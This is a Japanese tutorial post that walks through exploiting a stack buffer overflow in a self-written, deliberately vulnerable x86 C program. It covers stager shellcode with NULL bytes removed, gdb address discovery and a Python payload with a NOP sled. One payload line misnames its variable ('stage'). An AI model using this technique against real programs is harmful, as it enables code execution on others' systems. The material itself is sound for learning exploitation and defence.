LoginSignup
1
0

More than 3 years have passed since last update.

x86でstagerを利用し、shellcode注入の準備をする

Posted at

stagerとは

shellcodeを組み立てる際、NULLバイトやスペース、改行が使用できない場合や、shellcodeの大きさに制限がある場合があります。
その際にstagerが役立ちます。
stagerは、shellcodeを受信できるコンパクトなコードです。stagerを対象のプログラム上で起動させてから、shellcodeを送り込むことになります。

ターゲット

今回は以下のコードをターゲットにします。

target.c
#include <stdio.h>

void input()
{
        int a = 0x33333333;
        int b = 0x44444444;
        char user[8] = "";
        char pass[8] = "";

        printf("user and pass\n");

        scanf("%s", user);
        // scanf("%s", pass);
}

int main()
{
        input();
        return 0;
}

以下のコマンドでコンパイルし、checksecを行います。

$ gcc -O0 -fno-stack-protector -z execstack -g -o target target.c

k$ ~/checksec.sh/checksec --file=target
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   76) Symbols       No    0               0               target

CANARYとNXが無効になっていることを確認してください。

プログラムのスタックを確認する

objdumpでinput()を確認します。

0804845b <input>:
 804845b:       55                      push   ebp
 804845c:       89 e5                   mov    ebp,esp
 804845e:       83 ec 28                sub    esp,0x28
 8048461:       c7 45 f4 33 33 33 33    mov    DWORD PTR [ebp-0xc],0x33333333
 8048468:       c7 45 f0 44 44 44 44    mov    DWORD PTR [ebp-0x10],0x44444444
 804846f:       c7 45 e8 00 00 00 00    mov    DWORD PTR [ebp-0x18],0x0
 8048476:       c7 45 ec 00 00 00 00    mov    DWORD PTR [ebp-0x14],0x0
 804847d:       c7 45 e0 00 00 00 00    mov    DWORD PTR [ebp-0x20],0x0
 8048484:       c7 45 e4 00 00 00 00    mov    DWORD PTR [ebp-0x1c],0x0

スタックレイアウトは、次のようになっています。
stack.png

CANARYとNXが無効なため、scanf()にバッファオーバーフローの脆弱性があります。

stagerを書く

stagerはshellcodeを読み込むため、システムコールreadを呼び出すように作成します。
readはeaxが3、ebxが0、ecxに読み込み先のアドレス、edxに読み込むサイズを指定し、int 80で呼び出します。
まずは、単純なstagerを作成してみます。

stager_error.asm
BITS 32

_start:
        sub     esp, 0x80
        mov     eax, 3
        mov     ebx, 0
        mov     ecx, esp
        mov     edx, 0x80
        int     0x80
        push    ecx
        ret

コンパイルし、xxdで内容を確認します。

$ nasm stager_error.asm
$ xxd stager_error
00000000: 81ec 8000 0000 b803 0000 00bb 0000 0000  ................
00000010: 89e1 ba80 0000 00cd 8051 c3              .........Q.

このプログラムは単体なら動作しますが、scanfに渡すと動作しません。
理由は、NULLバイトが大量に含まれているためです。次に、NULLバイトを削除します。

NULLバイトの削除

① mov eax, 0x3 は、0x3にNULLバイトが含まれるため、mov al, 0x3に置き換える
② mov ebx, 0 は、 xor ebx, ebxに置き換える。
置き換えたコードは以下になります

BITS 32

_start:
        sub     sp, 0x80
        xor     eax, eax
        mov     al, 0x3
        xor     ebx, ebx
        mov     ecx, esp
        mov     dl, 0x80
        int     0x80
        push    ecx
        ret
$ nasm stager_success.asm
$ xxd stager_success
00000000: 6681 ec80 0031 c0b0 0331 db89 e1b2 80cd  f....1...1......
00000010: 8051 c3                                  .Q.

NULLバイトが削除されています。

exploitの準備

1, 配列userのアドレスを得る

gdbを起動し、input()にブレークポイントをセットした後、ebpの値を確認します。

$ gdb target
(gdb) b input
Breakpoint 1 at 0x8048461: file target.c, line 5.
(gdb) run
Starting program: /home/stager/work/target

Breakpoint 1, input () at target.c:5
5               int a = 0x33333333;
(gdb) disas
Dump of assembler code for function input:
   0x0804845b <+0>:     push   %ebp
   0x0804845c <+1>:     mov    %esp,%ebp
   0x0804845e <+3>:     sub    $0x28,%esp
=> 0x08048461 <+6>:     movl   $0x33333333,-0xc(%ebp)
   0x08048468 <+13>:    movl   $0x44444444,-0x10(%ebp)
   0x0804846f <+20>:    movl   $0x0,-0x18(%ebp)
   0x08048476 <+27>:    movl   $0x0,-0x14(%ebp)
   0x0804847d <+34>:    movl   $0x0,-0x20(%ebp)
   0x08048484 <+41>:    movl   $0x0,-0x1c(%ebp)
   0x0804848b <+48>:    sub    $0xc,%esp
   0x0804848e <+51>:    push   $0x8048570
   0x08048493 <+56>:    call   0x8048320 <puts@plt>
   ...
End of assembler dump.
(gdb) print $ebp
$1 = (void *) 0xbffff5d8

$ebpが0xbffff5d8なので、配列userは-0x18で0xbffff5C0です。

2 stagerを注入する

リターンアドレスを書き換えるため、0x18 + 0x4 = 0x1C個ダミーのデータを入れてリターンアドレスに到達します。
次に、リターンアドレスを書き換えますが、$ebp+4(0xbffff5dc)より大きければ良いです。
続いて、NOP(90)を適当な数配置します。NOP Sledと呼ばれる手法で、NOPに処理が渡ることで先頭アドレスを厳密に計算する必要がなくなります。
次に stagerを注入します。

pythonでコードを作成します。

import struct

def pI(addr):
        return struct.pack('<I', addr)

with open('stager', 'rb') as f:
        stager = f.read()

payload = b'A' * 0x1c
payload += pI(0xbffff5dc + 0x20)
payload += b'\x90' * 0x30
payload += stage

最後にsocket.sendなどでstagerを注入します。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0